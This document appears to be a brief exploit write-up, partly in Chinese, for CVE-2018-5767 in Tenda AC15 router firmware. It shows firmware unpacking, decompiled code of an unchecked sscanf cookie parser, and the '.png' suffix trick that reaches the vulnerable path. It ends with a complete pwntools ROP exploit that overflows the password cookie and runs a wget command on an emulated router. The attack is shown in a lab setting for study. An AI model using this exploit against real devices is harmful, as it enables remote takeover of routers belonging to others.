preinfo
➜ test file route.binroute.bin: u-boot legacy uImage, \002, Linux/ARM, OS Kernel Image (lzma), 10227712 bytes, Thu Nov 19 09:36:45 2015, Load Address: 0x80000000, Entry Point: 0xC0008000, Header CRC: 0x73CF0D74, Data CRC: 0x3321F349
➜ test binwalk --signature --term ./route.bin
DECIMAL HEXADECIMAL DESCRIPTION
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
64 0x40 TRX firmware header, little endian, image size: 10227712 bytes, CRC32: 0x314DBDAC, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux
kernel offset: 0x198CDC, rootfs offset: 0x0
92 0x5C LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 4114848 bytes
1674524 0x198D1C Squashfs filesystem, little endian, version 4.0, compression:xz, size: 8549574 bytes, 741 inodes, blocksize: 131072 bytes, created: 2015-11-19 09:36:43
signature
iterm
漏洞发生在R7WebsSecurityHandler函数中的
{
if ( !strncmp(s1, "/index.html", 0xBu) && GetValue("ali.reset.cfg", nptr) )
{
if ( strcmp(nptr, "1") )
sub_2A988(a1, "/");
return 0;
}
memcpy(s, s1, 0xFFu);
v40 = strchr(s, 63);
if ( v40 )
*v40 = 0;
if ( *(_DWORD *)(a1 + 184) )
{
v41 = strstr(*(const char **)(a1 + 184), "password=");
if ( v41 )
sscanf(v41, "%*[^=]=%[^;];*", v34);
else
sscanf(*(const char **)(a1 + 184), "%*[^=]=%[^;];*", v34);
}
其中的正则
- “%[^=]” 读入任意多的字符,直到遇到”=”停止
demo
#include <stdio.h>
#include <malloc.h>
int main(int argc, char const *argv[])
{
char *strs[]={"subscribe jia ran=satisfy appetite in every meal!;"};
char *s;
s=malloc(0x40);
sscanf(strs[0], "%*[^=]=%[^;];*", s);
printf("%s\n", s);
return 0;
}
output
satisfy appetite in every meal!
所以这整句话意思就是从passward=开始向后截取,统统写入v34
然后这里还有个trick
if ( strlen(s) <= 3
|| (v43 = strchr(s, '.')) == 0
|| (v43 = (char *)v43 + 1, memcmp(v43, "gif", 3u))
&& memcmp(v43, "png", 3u)
&& memcmp(v43, "js", 2u)
&& memcmp(v43, "css", 3u)
&& memcmp(v43, "jpg", 3u)
&& memcmp(v43, "jpeg", 3u) )
{
emulate
exp
当执行某些接口,就需要调用R7WebsSecurityHandler认证,可以通过对这个函数的xref来进行查找到总接口
sub_3FBF0是总接空函数
其中
sub_1816C(s, v7, v2);
sub_2BCB8(s);
sub_10FE8("main.html");
sub_1E080(off_D2F24);
sub_28030(port, retries);
sub_164C8(&unk_B38D4, 0, 0, R7WebsSecurityHandler, 1);
sub_164C8("/goform", 0, 0, websFormHandler, 0);
sub_164C8("/cgi-bin", 0, 0, webs_Tenda_CGI_BIN_Handler, 0);
v3 = sub_164C8(&unk_B38D4, 0, 0, websDefaultHandler, 2);
sub_3FBF0(v3); //只要想进入以下的函数进行处理 都要经过R7WebsSecurityHandler的认证
sub_164C8("/", 0, 0, sub_2D698, 0);
return 0;
}
其中注意,cookie中不允许有比特序列,需要decode转换成字符串
from pwn import*
import requests
PATH="/home/squ/Desktop/qemuimg/qemu_img/armhf/Tenda_AC15/CVE-2018-5767/squashfs-root/"
libc=ELF(PATH+"./lib/libc.so.0")
cmd=b"wget http://10.10.10.2:9999"
libc_base=0x76df3000
pop_r3_pc=libc_base+0x00018298 # pop {r3, pc}
mov_r0_sp_blx_r3=libc_base+0x00040cb8 # mov r0, sp ; blx r3
system=libc_base+libc.sym['system']
payload=b'a'*(0x1c0-4)+b".png"+p32(pop_r3_pc)+p32(system)+p32(mov_r0_sp_blx_r3)+cmd
url="http://10.10.10.3/goform/execCommand"
cookie={
"Cookie":"password="+payload.decode("latin1")
}
requests.get(url,cookies=cookie)
